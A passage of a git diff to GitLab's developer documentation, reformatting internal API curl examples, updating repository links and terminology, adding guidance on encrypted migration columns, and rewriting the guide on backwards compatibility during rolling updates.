-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" "http://localhost:3001/api/v4/internal/personal_access_token" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \ + --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" \ + "http://localhost:3001/api/v4/internal/personal_access_token" ``` Example response: @@ -339,7 +345,8 @@ POST /internal/pre_receive Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \ + --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive" ``` Example response: @@ -371,7 +378,10 @@ POST /internal/post_receive Example Request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data "identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" "http://localhost:3001/api/v4/internal/post_receive" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \ + --data "gl_repository=project-7" --data "identifier=user-1" \ + --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" \ + "http://localhost:3001/api/v4/internal/post_receive" ``` Example response: @@ -418,7 +428,8 @@ GET /internal/kubernetes/agent_info Example Request: ```shell -curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info" +curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \ + --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info" ``` ### Kubernetes agent project information @@ -443,7 +454,8 @@ GET /internal/kubernetes/project_info Example Request: ```shell -curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7" +curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \ + --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7" ``` ### Kubernetes agent usage metrics @@ -463,7 +475,8 @@ POST /internal/kubernetes/usage_metrics Example Request: ```shell -curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics" +curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" \ + --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics" ``` ### Kubernetes agent alert metrics @@ -482,7 +495,10 @@ POST internal/kubernetes/modules/cilium_alert Example Request: ```shell -curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" --header "Content-Type: application/json" --data '"{\"alert\":{\"title\":\"minimal\",\"message\":\"network problem\",\"evalMatches\":[{\"value\":1,\"metric\":\"Count\",\"tags\":{}}]}}"' "http://localhost:3000/api/v4/internal/kubernetes/modules/cilium_alert" +curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" \ + --header "Authorization: Bearer <agent token>" --header "Content-Type: application/json" \ + --data '"{\"alert\":{\"title\":\"minimal\",\"message\":\"network problem\",\"evalMatches\":[{\"value\":1,\"metric\":\"Count\",\"tags\":{}}]}}"' \ + "http://localhost:3000/api/v4/internal/kubernetes/modules/cilium_alert" ``` ## Subscriptions diff --git a/doc/development/jh_features_review.md b/doc/development/jh_features_review.md index 260da2d7ef2..b139a380344 100644 --- a/doc/development/jh_features_review.md +++ b/doc/development/jh_features_review.md @@ -23,6 +23,12 @@ We have two kinds of changes related to JH: If needed, review the corresponding JH merge request located at [JH repository](https://gitlab.com/gitlab-jh/gitlab) +## Process overview + +See the [merge request process](https://about.gitlab.com/handbook/ceo/chief-of-staff-team/jihu-support/#merge-request-process) +on the JiHu Support handbook. +This page is the single source of truth for JiHu-related processes. + ## Act as EE when `jh/` does not exist - In the case of EE repository, `jh/` does not exist so it should just act like EE (or CE when the license is absent) diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md index 5be2080eb64..9e67227ec7f 100644 --- a/doc/development/kubernetes.md +++ b/doc/development/kubernetes.md @@ -35,12 +35,12 @@ We use the [`kubeclient`](https://rubygems.org/gems/kubeclient) gem to perform Kubernetes API calls. As the `kubeclient` gem does not support different API Groups (such as `apis/rbac.authorization.k8s.io`) from a single client, we have created a wrapper class, -[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb) +[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb) that enable you to achieve this. Selected Kubernetes API groups are supported. Do add support for new API groups or methods to -[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb) +[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb) if you need to use them. New API groups or API group versions can be added to `SUPPORTED_API_GROUPS` - internally, this creates an internal client for that group. New methods can be added as a delegation @@ -50,7 +50,7 @@ to the relevant internal client. All calls to the Kubernetes API must be in a background process. Don't perform Kubernetes API calls within a web request. This blocks -Unicorn, and can lead to a denial-of-service (DoS) attack in GitLab as +webserver, and can lead to a denial-of-service (DoS) attack in GitLab as the Kubernetes cluster response times are outside of our control. The easiest way to ensure your calls happen a background process is to @@ -58,7 +58,7 @@ delegate any such work to happen in a [Sidekiq worker](sidekiq_style_guide.md). You may want to make calls to Kubernetes and return the response, but a background worker isn't a good fit. Consider using -[reactive caching](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb). +[reactive caching](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/reactive_caching.rb). For example: ```ruby @@ -76,7 +76,7 @@ For example: ### Testing We have some WebMock stubs in -[`KubernetesHelpers`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/kubernetes_helpers.rb) +[`KubernetesHelpers`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/kubernetes_helpers.rb) which can help with mocking out calls to Kubernetes API in your tests. ### Amazon EKS integration @@ -107,7 +107,7 @@ The process for creating a cluster is as follows: by `:provision_role_arn` and stores a set of temporary credentials on the provider record. By default these credentials are valid for one hour. 1. A CloudFormation stack is created, based on the - [`AWS CloudFormation EKS template`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/aws/cloudformation/eks_cluster.yaml). + [`AWS CloudFormation EKS template`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/vendor/aws/cloudformation/eks_cluster.yaml). This triggers creation of all resources required for an EKS cluster. 1. GitLab polls the status of the stack until all resources are ready, which takes somewhere between 10 and 15 minutes in most cases. @@ -135,7 +135,7 @@ a cluster. Mitigation strategies include: 1. Not allowing redirects to attacker controller resources: - [`Kubeclient::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb#) + [`Kubeclient::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb#) can be configured to disallow any redirects by passing in `http_max_redirects: 0` as an option. 1. Not exposing error messages: by doing so, we @@ -159,7 +159,7 @@ Logs related to the Kubernetes integration can be found in GDK install, these logs are present in `log/kubernetes.log`. Some services such as -[`Clusters::Applications::InstallService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/clusters/applications/install_service.rb#L18) +[`Clusters::Applications::InstallService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/clusters/applications/install_service.rb#L18) rescues `StandardError` which can make it harder to debug issues in an development environment. The current workaround is to temporarily comment out the `rescue` in your local development source. @@ -172,12 +172,3 @@ they are written: ```shell kubectl logs <pod_name> --follow -n gitlab-managed-apps ``` - -## GitLab Managed Apps - -GitLab provides [GitLab Managed Apps](../user/clusters/applications.md), a one-click -install for various applications which can be added directly to your configured cluster. - -**<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview of how to add a new GitLab-managed app, see -[How to add GitLab-managed-apps to Kubernetes integration](https://youtu.be/mKm-jkranEk).** diff --git a/doc/development/licensing.md b/doc/development/licensing.md index 5f03013a780..23871bf3c68 100644 --- a/doc/development/licensing.md +++ b/doc/development/licensing.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Licensing and Compatibility -[GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/) (CE) is licensed [under the terms of the MIT License](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/LICENSE). [GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/) (EE) is licensed under "[The GitLab Enterprise Edition (EE) license](https://gitlab.com/gitlab-org/gitlab/blob/master/LICENSE)" wherein there are more restrictions. +[GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/) (CE) is licensed [under the terms of the MIT License](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/LICENSE). [GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/) (EE) is licensed under "[The GitLab Enterprise Edition (EE) license](https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE)" wherein there are more restrictions. ## Automated Testing diff --git a/doc/development/logging.md b/doc/development/logging.md index 88ae3950f1a..45f5b672365 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -278,9 +278,9 @@ The API, Rails and Sidekiq logs contain fields starting with `meta.` with this c Entry points can be seen at: -- [`ApplicationController`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/application_controller.rb) -- [External API](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/api.rb) -- [Internal API](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/internal/base.rb) +- [`ApplicationController`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/application_controller.rb) +- [External API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/api.rb) +- [Internal API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/internal/base.rb) #### Adding attributes diff --git a/doc/development/maintenance_mode.md b/doc/development/maintenance_mode.md index f05a731a331..e308ab26c27 100644 --- a/doc/development/maintenance_mode.md +++ b/doc/development/maintenance_mode.md @@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Where is Maintenance Mode enforced? GitLab Maintenance Mode **only** blocks writes from HTTP and SSH requests at the application level in a few key places within the rails application. -[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) +[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) -- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for `Gitlab::Database.read_only?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) +- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for `Gitlab::Database.read_only?`.](https://gitlab.com/search?search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) - [the read-only middleware](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/middleware/read_only/controller.rb), where HTTP requests that cause database writes are blocked, unless explicitly allowed. - [Git push access via SSH is denied](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/git_access.rb#L13) by returning 401 when `gitlab-shell` POSTs to [`/internal/allowed`](internal_api.md) to [check if access is allowed](internal_api.md#git-authentication). - [Container registry authentication service](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/app/services/ee/auth/container_registry_authentication_service.rb#L12), where updates to the container registry are blocked. diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index 543ca809f45..973d4042cda 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -292,13 +292,13 @@ in a batch style. **Summary:** You should set a reasonable timeout when the system invokes HTTP calls to external services (such as Kubernetes), and it should be executed in Sidekiq, not -in Puma/Unicorn threads. +in Puma threads. Often, GitLab needs to communicate with an external service such as Kubernetes clusters. In this case, it's hard to estimate when the external service finishes the requested process, for example, if it's a user-owned cluster that's inactive for some reason, GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)). -This could result in Puma/Unicorn timeout and should be avoided at all cost. +This could result in Puma timeout and should be avoided at all cost. You should set a reasonable timeout, gracefully handle exceptions and surface the errors in UI or logging internally. @@ -598,10 +598,10 @@ Each feature that accepts data uploads or allows to download them needs to use saved directly to Object Storage by Workhorse, and all downloads needs to be served by Workhorse. -Performing uploads/downloads via Unicorn/Puma is an expensive operation, -as it blocks the whole processing slot (worker or thread) for the duration of the upload. +Performing uploads/downloads via Puma is an expensive operation, +as it blocks the whole processing slot (thread) for the duration of the upload. -Performing uploads/downloads via Unicorn/Puma also has a problem where the operation +Performing uploads/downloads via Puma also has a problem where the operation can time out, which is especially problematic for slow clients. If clients take a long time to upload/download the processing slot might be killed due to request processing timeout (usually between 30s-60s). diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index e1444f1a726..009ead8ba16 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -45,16 +45,16 @@ columns manually for existing tables as this causes confusion to other people using `db/structure.sql` generated by Rails. When your local database in your GDK is diverging from the schema from -`master` it might be hard to cleanly commit the schema changes to +`main` it might be hard to cleanly commit the schema changes to Git. In that case you can use the `scripts/regenerate-schema` script to regenerate a clean `db/structure.sql` for the migrations you're adding. This script applies all migrations found in `db/migrate` or `db/post_migrate`, so if there are any migrations you don't want to commit to the schema, rename or remove them. If your branch is not -targeting `master` you can set the `TARGET` environment variable. +targeting `main` you can set the `TARGET` environment variable. ```shell -# Regenerate schema against `master` +# Regenerate schema against `main` scripts/regenerate-schema # Regenerate schema against `12-9-stable-ee` @@ -844,7 +844,7 @@ You have to use a serializer to provide a translation layer: ```ruby class BuildMetadata - serialize :config_options, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize + serialize :config_options, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize end ``` @@ -856,6 +856,37 @@ class BuildMetadata end ``` +## Encrypted attributes + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227779) in GitLab 14.0. + +Do not store `attr_encrypted` attributes as `:text` in the database; use +`:binary` instead. This uses the `bytea` type in PostgreSQL and makes storage more +efficient: + +```ruby +class AddSecretToSomething < ActiveRecord::Migration[5.0] + def change + add_column :something, :encrypted_secret, :binary + add_column :something, :encrypted_secret_iv, :binary + end +end +``` + +When storing encrypted attributes in a binary column, we need to provide the +`encode: false` and `encode_iv: false` options to `attr_encrypted`: + +```ruby +class Something < ApplicationRecord + attr_encrypted :secret, + mode: :per_attribute_iv, + key: Settings.attr_encrypted_db_key_base_32, + algorithm: 'aes-256-gcm', + encode: false, + encode_iv: false +end +``` + ## Testing See the [Testing Rails migrations](testing_guide/testing_migrations_guide.md) style guide. @@ -945,6 +976,9 @@ If using a model in the migrations, you should first [clear the column cache](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema/ClassMethods.html#method-i-reset_column_information) using `reset_column_information`. +If using a model that leverages single table inheritance (STI), there are [special +considerations](single_table_inheritance.md#in-migrations). + This avoids problems where a column that you are using was altered and cached in a previous migration. diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md index 16c7a807053..f298b603429 100644 --- a/doc/development/module_with_instance_variables.md +++ b/doc/development/module_with_instance_variables.md @@ -68,7 +68,7 @@ objects are touching them, then it would be an acceptable use. We especially allow the case where a single instance variable is used with `||=` to set up the value. This would look like: -``` ruby +```ruby module M def f @f ||= true @@ -85,7 +85,7 @@ we could easily add to the cop, we should do it. Even if we could just disable the cop, we should avoid doing so. Some code could be easily rewritten in simple form. Consider this acceptable method: -``` ruby +```ruby module Gitlab module Emoji def emoji_unicode_version(name) @@ -104,7 +104,7 @@ cop is not smart enough to judge that this is fine. On the other hand, we could split this method into two: -``` ruby +```ruby module Gitlab module Emoji def emoji_unicode_version(name) @@ -127,7 +127,7 @@ Now the cop doesn't complain. Put the disabling comment right after your code in the same line: -``` ruby +```ruby module M def violating_method @f + @g # rubocop:disable Gitlab/ModuleWithInstanceVariables @@ -137,7 +137,7 @@ end If there are multiple lines, you could also enable and disable for a section: -``` ruby +```ruby module M # rubocop:disable Gitlab/ModuleWithInstanceVariables def violating_method @@ -167,13 +167,13 @@ point of view), making it extremely hard to track data dependency. We're trying to use something like this instead: -``` haml +```haml = render 'projects/commits/commit', commit: commit, ref: ref, project: project ``` And in the partial: -``` haml +```haml - ref = local_assigns.fetch(:ref) - commit = local_assigns.fetch(:commit) - project = local_assigns.fetch(:project) diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md index 44e93bfb8a8..acdf8194cb1 100644 --- a/doc/development/multi_version_compatibility.md +++ b/doc/development/multi_version_compatibility.md @@ -4,47 +4,120 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Compatibility with multiple versions of the application running at the same time +# Backwards compatibility across updates -When adding or changing features, we must be aware that there may be multiple versions of the application running -at the same time and connected to the same PostgreSQL and Redis databases. This could happen during a rolling deploy -when the servers are updated one by one. +GitLab deployments can be broken down into many components. Updating GitLab is not atomic. Therefore, **many components must be backwards-compatible**. -During a rolling deploy, post-deployment DB migrations are run after all the servers have been updated. This means the -servers could be in these intermediate states: +## Common gotchas -1. Old application code running with new DB migrations already executed -1. New application code running with new DB migrations but without new post-deployment DB migrations +In a sense, these scenarios are all transient states. But they can often persist for several hours in a live, production environment. Therefore we must treat them with the same care as permanent states. -We must make sure that the application works properly in these states. +### When modifying a Sidekiq worker -For GitLab.com, we also run a set of canary servers which run a more recent version of the application. Users with -the canary cookie set would be handled by these servers. Some URL patterns may also be forced to the canary servers, -even without the cookie being set. This also means that some pages may match the pattern and get handled by canary servers, -but AJAX requests to URLs (like the GraphQL endpoint) fail to match the pattern. +For example when [changing arguments](sidekiq_style_guide.md#changing-the-arguments-for-a-worker): -With this canary setup, we'd be in this mixed-versions state for an extended period of time until canary is promoted to -production and post-deployment migrations run. +- Is it ok if jobs are being enqueued with the old signature but executed by the new monthly release? +- Is it ok if jobs are being enqueued with the new signature but executed by the previous monthly release? -Also be aware that during a deployment to production, Web, API, and -Sidekiq nodes are updated in parallel, but they may finish at -different times. That means there may be a window of time when the -application code is not in sync across the whole fleet. Changes that -cut across Sidekiq, Web, and/or the API may [introduce unexpected -errors until the deployment is complete](#builds-failing-due-to-varying-deployment-times-across-node-types). +### When adding a new Sidekiq worker + +Is it ok if these jobs don't get executed for several hours because [Sidekiq nodes are not yet updated](sidekiq_style_guide.md#adding-new-workers)? + +### When modifying JavaScript + +Is it ok when a browser has the new JavaScript code, but the Rails code is running the previous monthly release on: + +- the REST API? +- the GraphQL API? +- internal APIs in controllers? + +### When adding a pre-deployment migration + +Is it ok if the pre-deployment migration has executed, but the web, Sidekiq, and API nodes are running the previous release? + +### When adding a post-deployment migration + +Is it ok if all GitLab nodes have been updated, but the post-deployment migrations don't get executed until a couple days later? + +### When adding a background migration + +Is it ok if all nodes have been updated, and then the post-deployment migrations get executed a couple days later, and then the background migrations take a week to finish? + +## A walkthrough of an update + +Backwards compatibility problems during updates are often very subtle. This is why it is worth familiarizing yourself with [update instructions](../update/index.md), [reference architectures](../administration/reference_architectures/index.md), and [GitLab.com's architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/). But to illustrate how these problems arise, take a look at this example of a simple update. + +- 🚢 New version +- 🙂 Old version + +In this example, you can imagine that we are updating by one monthly release. But refer to [How long must code be backwards-compatible?](#how-long-must-code-be-backwards-compatible). + +| Update step | Postgres DB | Web nodes | API nodes | Sidekiq nodes | Compatibility concerns | +| --- | --- | --- | --- | --- | --- | +| Initial state | 🙂 | 🙂 | 🙂 | 🙂 | | +| Ran pre-deployment migrations | 🚢 except post-deploy migrations | 🙂 | 🙂 | 🙂 | Rails code in 🙂 is making DB calls to 🚢 | +| Update web nodes | 🚢 except post-deploy migrations | 🚢 | 🙂 | 🙂 | JavaScript in 🚢 is making API calls to 🙂. Rails code in 🚢 is enqueuing jobs that are getting run by Sidekiq nodes in 🙂 | +| Update API and Sidekiq nodes | 🚢 except post-deploy migrations | 🚢 | 🚢 | 🚢 | Rails code in 🚢 is making DB calls without post-deployment migrations or background migrations | +| Run post-deployment migrations | 🚢 | 🚢 | 🚢 | 🚢 | Rails code in 🚢 is making DB calls without background migrations | +| Background migrations finish | 🚢 | 🚢 | 🚢 | 🚢 | | + +This example is not exhaustive. GitLab can be deployed in many different ways. Even each update step is not atomic. For example, with rolling deploys, nodes within a group are temporarily on different versions. You should assume that a lot of time passes between update steps. This is often true on GitLab.com. + +## How long must code be backwards-compatible? + +For users following [zero-downtime update instructions](../update/index.md#upgrading-without-downtime), the answer is one monthly release. For example: + +- 13.11 => 13.12 +- 13.12 => 14.0 +- 14.0 => 14.1 + +For GitLab.com, there can be multiple tiny version updates per day, so GitLab.com doesn't constrain how far changes must be backwards-compatible. + +Many users [skip some monthly releases](../update/index.md#upgrading-to-a-new-major-version), for example: + +- 13.0 => 13.12 + +These users accept some downtime during the update. Unfortunately we can't ignore this case completely. For example, 13.12 may execute Sidekiq jobs from 13.0, which illustrates why [we avoid removing arguments from jobs until a major release](sidekiq_style_guide.md#deprecate-and-remove-an-argument). The main question is: Will the deployment get to a good state after the update is complete? + +## What kind of components can GitLab be broken down into? + +The [50,000 reference architecture](../administration/reference_architectures/50k_users.md) runs GitLab on 48+ nodes. GitLab.com is [bigger than that](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/), plus a portion of the [infrastructure runs on Kubernetes](https://about.gitlab.com/handbook/engineering/infrastructure/production/kubernetes/gitlab-com/), plus there is a ["canary" stage which receives updates first](https://about.gitlab.com/handbook/engineering/#sts=Canary%20Testing). + +But the problem isn't just that there are many nodes. The bigger problem is that a deployment can be divided into different contexts. And GitLab.com is not the only one that does this. Some possible divisions: + +- "Canary web app nodes": Handle non-API requests from a subset of users +- "Git app nodes": Handle Git requests +- "Web app nodes": Handle web requests +- "API app nodes": Handle API requests +- "Sidekiq app nodes": Handle Sidekiq jobs +- "Postgres database": Handle internal Postgres calls +- "Redis database": Handle internal Redis calls +- "Gitaly nodes": Handle internal Gitaly calls + +During an update, there will be [two different versions of GitLab running in different contexts](#a-walkthrough-of-an-update). For example, [a web node may enqueue jobs which get run on an old Sidekiq node](#when-modifying-a-sidekiq-worker). + +## Doesn't the order of update steps matter? + +Yes! We have specific instructions for [zero-downtime updates](../update/index.md#upgrading-without-downtime) because it allows us to ignore some permutations of compatibility. This is why we don't worry about Rails code making DB calls to an old Postgres database schema. + +## I've identified a potential backwards compatibility problem, what can I do about it? + +### Feature flags One way to handle this is to use a feature flag that is disabled by default. The feature flag can be enabled when the deployment is in a -consistent state. However, this method of synchronization doesn't -guarantee that customers with on-premise instances can [upgrade with +consistent state. However, this method of synchronization **does not +guarantee** that customers with on-premise instances can [update with zero downtime](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates) -because point releases bundle many changes together. Minimizing the time -between when versions are out of sync across the fleet may help mitigate -errors caused by upgrades. +because point releases bundle many changes together. + +### Graceful degradation + +As an example, when adding a new feature with frontend and API changes, it may be possible to write the frontend such that the new feature degrades gracefully against old API responses. This may help avoid needing to spread a change over 3 releases. -## Requirements for zero downtime upgrades +### Expand and contract pattern -One way to guarantee zero downtime upgrades for on-premise instances is following the +One way to guarantee zero downtime updates for on-premise instances is following the [expand and contract pattern](https://martinfowler.com/bliki/ParallelChange.html). This means that every breaking change is broken down in three phases: expand, migrate, and contract. @@ -53,7 +126,7 @@ This means that every breaking change is broken down in three phases: expand, mi 1. **migrate**: all consumers are updated to make use of the new implementation. 1. **contract**: backward compatibility is removed. -Those three phases **must be part of different milestones**, to allow zero downtime upgrades. +Those three phases **must be part of different milestones**, to allow zero downtime updates. Depending on the support level for the feature, the contract phase could be delayed until the next major release. @@ -205,7 +278,7 @@ variable `CI_NODE_TOTAL` being an integer failed. This was caused because after 1. New code: Sidekiq created a new pipeline and new build. `build.options[:parallel]` is a `Hash`. 1. Old code: Runners requested a job from an API node that is running the previous version. -1. As a result, the [new code](https://gitlab.com/gitlab-org/gitlab/blob/42b82a9a3ac5a96f9152aad6cbc583c42b9fb082/app/models/concerns/ci/contextable.rb#L104) +1. As a result, the [new code](https://gitlab.com/gitlab-org/gitlab/-/blob/42b82a9a3ac5a96f9152aad6cbc583c42b9fb082/app/models/concerns/ci/contextable.rb#L104) was not run on the API server. The runner's request failed because the older API server tried return the `CI_NODE_TOTAL` CI/CD variable, but instead of sending an integer value (e.g. 9), it sent a serialized diff --git a/doc/development/namespaces_storage_statistics.md b/doc/development/namespaces_storage_statistics.md index 587e1091e77..232d421d883 100644 --- a/doc/development/namespaces_storage_statistics.md +++ b/doc/development/namespaces_storage_statistics.md @@ -20,11 +20,11 @@ storage consumed by a group, and allow easy management. ## Problem In GitLab, we update the project storage statistics through a -[callback](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/project.rb#L97) +[callback](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/project.rb#L97) every time the project is saved. The summary of those statistics per namespace is then retrieved -by [`Namespaces#with_statistics`](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/namespace.rb#L70) scope. Analyzing this query we noticed that: +by [`Namespaces#with_statistics`](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/namespace.rb#L70) scope. Analyzing this query we noticed that: - It takes up to `1.2` seconds for namespaces with over `15k` projects. - It can't be analyzed with [ChatOps](chatops_on_gitlabcom.md), as it times out. diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md index b58319c15ca..c8bc1b70aa9 100644 --- a/doc/development/new_fe_guide/dependencies.md +++ b/doc/development/new_fe_guide/dependencies.md @@ -1,5 +1,6 @@ --- redirect_to: '../fe_guide/dependencies.md' +remove_date: '2021-05-14' --- This document was moved to [another location](../fe_guide/dependencies.md). diff --git a/doc/development/new_fe_guide/development/performance.md b/doc/development/new_fe_guide/development/performance.md index 8ae503ec709..f34c407da84 100644 --- a/doc/development/new_fe_guide/development/performance.md +++ b/doc/development/new_fe_guide/development/performance.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w We have a performance dashboard available in one of our [Grafana instances](https://dashboards.gitlab.net/d/1EBTz3Dmz/sitespeed-page-summary?orgId=1). This dashboard automatically aggregates metric data from [sitespeed.io](https://www.sitespeed.io/) every 6 hours. These changes are displayed after a set number of pages are aggregated. These pages can be found inside a text file in the [`gitlab-build-images` repository](https://gitlab.com/gitlab-org/gitlab-build-images) called [`gitlab.txt`](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/scripts/gitlab.txt) -Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `master`. +Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `main`. There are 3 recommended high impact metrics to review on each page: diff --git a/doc/development/new_fe_guide/modules/dirty_submit.md b/doc/development/new_fe_guide/modules/dirty_submit.md index f9ef96c65dc..6e1062aa72e 100644 --- a/doc/development/new_fe_guide/modules/dirty_submit.md +++ b/doc/development/new_fe_guide/modules/dirty_submit.md @@ -14,7 +14,7 @@ Prevent submitting forms with no changes. Currently handles `input`, `textarea` and `select` elements. -Also, see [the code](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/javascripts/dirty_submit/) +Also, see [the code](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/dirty_submit/) within the GitLab project. ## Usage diff --git a/doc/development/packages.md b/doc/development/packages.md index 3727376d957..294cc528ad1 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -183,7 +183,7 @@ 